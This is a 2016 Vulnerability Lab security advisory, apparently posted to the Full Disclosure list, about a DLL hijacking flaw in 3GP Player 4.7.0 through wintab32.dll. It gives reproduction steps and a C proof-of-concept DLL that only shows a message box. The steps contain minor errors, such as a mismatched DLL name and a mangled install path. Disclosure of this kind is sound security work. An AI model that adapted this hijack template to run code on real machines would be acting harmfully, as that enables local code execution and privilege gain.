[FD] 3GP Player 4.7.0 - DLL Hijacking Vulnerability

[Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>]

Document Title:
===============
3GP Player 4.7.0 - DLL Hijacking Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1955


Release Date:
=============
2016-09-23


Vulnerability Laboratory ID (VL-ID):
====================================
1955


Common Vulnerability Scoring System:
====================================
5.6


Product & Service Introduction:
===============================
3GP Player is a player specialized videos in 3GP format widely used by mobile 
phones. 3GP format and its 
variants (3GPP, 3GPP2, etc.) are used by many mobile phone manufacturers to 
store video. 3GP provides an 
easy way to play these videos on your PC. In use, 3GP Player disappoint with 
her too rudimentary interface. 
It offers only opening files and links to websites that host videos for mobile.
 
(Copy of the Vendor Homepage: http://www.reganam.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a dll injection 
vulnerability in the official 3GP Player v4.7.0 software.


Vulnerability Disclosure Timeline:
==================================
2016-09-23: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Reganam Interactive
Product: 3GP Player - Software Client 4.7.0


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official 3GP 
Player v4.7.0 software.
The issue allows local attackers to inject code to vulnerable libraries to 
compromise the process 
or to gain higher access privileges.

Vulnerable Software:
[+] 3GP Player

Vulnerable Version(s):
[+] v4.7.0

Vulnerable Libraries:
[+] wintab32.dll


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with 
restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.


Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to wintab32.dll 
2. Copy Linkinfo.dll to C:Program Files3GPplayer20113GP-player.exe
3. Launch 3GP Player.exe
4. Now the test messagebox executes
5. Successful reproduce of the local vulnerability!


PoC: Exploit
#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


Security Risk:
==============
The security risk of the dll inject web vulnerability in the vulnerable 
software library is estimated as medium. (CVSS 5.6)


Credits & Authors:
==================
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


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=========================
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